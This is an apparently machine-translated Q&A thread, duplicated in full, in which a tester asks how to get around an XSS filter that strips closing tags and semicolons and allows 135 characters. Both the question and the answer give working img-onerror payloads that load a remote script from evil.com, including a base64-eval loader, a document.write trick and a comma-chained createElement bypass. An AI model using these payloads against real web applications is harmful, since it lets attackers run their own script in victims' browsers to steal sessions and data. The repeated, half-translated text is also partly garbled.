如何利用特定条件或过滤器滥用 XSS?
How to abuse XSS with specific criteria or filters?
我发现了一个易受 XSS 攻击的 Web 应用程序,并且可以使用 img
标记获取一些 javascript 运行ning,但是我使用的方法破坏了其余部分页面,因为他们正在使用一些过滤器试图阻止它。
目前我检测到的过滤器如下:
</anythingyouwant>
被替换为空
/>
被替换为空
;
被替换为 space 直到下一个 >
- 135 个字符限制,包括交付方式
<img src="." onerror="alert('xss')">
注入 <img src="." onerror="alert('xss')">
工作正常,但是这些开发人员相当怀疑并希望看到完整的 javascript 代码的完整 PoC。是否可以 运行 任意脚本?
我试过:
<img src="." onerror="eval(atob('Yj1kb2N1bWVudDthPWIuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7YS5zcmM9Jy8vZXZpbC5jb20vbXlzY3JpcHQnO2IuYm9keS5hcHBlbmRDaGlsZChhKQ=='))">
结果:太长了,即使缩短了 URL
<script src="//evil.com/myscript" />
结果:无法像这样关闭脚本标签,它会被过滤,并通过网络应用程序省略 'closing' 标签 破坏页面的其余部分
<script src=//evil.com/myscript"></script>
结果:被过滤,如上所述销毁页面的其余部分
<img src="." onerror="b=document;a=b.createElement('script');a.src='//evil.com/myscript';b.body.appendChild(a)">
结果:分号被过滤,网页中断
<img src="." onerror="b=document a=b.createElement('script') a.src='//evil.com/myscript' b.body.appendChild(a)">
结果:我不确定这是否是有效的 js,但它按预期出现在 chrome view page source
中,但没有按预期工作
我正在使用 chrome 进行测试,以防万一它在某种程度上是相关的。
你列出的安全措施肯定是不够的。我可以想象为你工作的两个例子:
<img src="." onerror="document.write('<script src=\'//evil.com/myscript\'><'+'/'+'script>')">
或者您的版本带有 ,
而不是 ;
:
<img src="." onerror="b=document, a=b.createElement('script'), a.src='//evil.com/myscript', b.body.appendChild(a)">
但我绝对确定还有很多其他方法可以做到这一点。您还可以检查以下 cheat sheet which I found in this answer.
我发现了一个易受 XSS 攻击的 Web 应用程序,并且可以使用 img
标记获取一些 javascript 运行ning,但是我使用的方法破坏了其余部分页面,因为他们正在使用一些过滤器试图阻止它。
目前我检测到的过滤器如下:
</anythingyouwant>
被替换为空/>
被替换为空;
被替换为 space 直到下一个>
- 135 个字符限制,包括交付方式
<img src="." onerror="alert('xss')">
注入 <img src="." onerror="alert('xss')">
工作正常,但是这些开发人员相当怀疑并希望看到完整的 javascript 代码的完整 PoC。是否可以 运行 任意脚本?
我试过:
<img src="." onerror="eval(atob('Yj1kb2N1bWVudDthPWIuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7YS5zcmM9Jy8vZXZpbC5jb20vbXlzY3JpcHQnO2IuYm9keS5hcHBlbmRDaGlsZChhKQ=='))">
结果:太长了,即使缩短了 URL<script src="//evil.com/myscript" />
结果:无法像这样关闭脚本标签,它会被过滤,并通过网络应用程序省略 'closing' 标签 破坏页面的其余部分
<script src=//evil.com/myscript"></script>
结果:被过滤,如上所述销毁页面的其余部分<img src="." onerror="b=document;a=b.createElement('script');a.src='//evil.com/myscript';b.body.appendChild(a)">
结果:分号被过滤,网页中断<img src="." onerror="b=document a=b.createElement('script') a.src='//evil.com/myscript' b.body.appendChild(a)">
结果:我不确定这是否是有效的 js,但它按预期出现在 chromeview page source
中,但没有按预期工作
我正在使用 chrome 进行测试,以防万一它在某种程度上是相关的。
你列出的安全措施肯定是不够的。我可以想象为你工作的两个例子:
<img src="." onerror="document.write('<script src=\'//evil.com/myscript\'><'+'/'+'script>')">
或者您的版本带有 ,
而不是 ;
:
<img src="." onerror="b=document, a=b.createElement('script'), a.src='//evil.com/myscript', b.body.appendChild(a)">
但我绝对确定还有很多其他方法可以做到这一点。您还可以检查以下 cheat sheet which I found in this answer.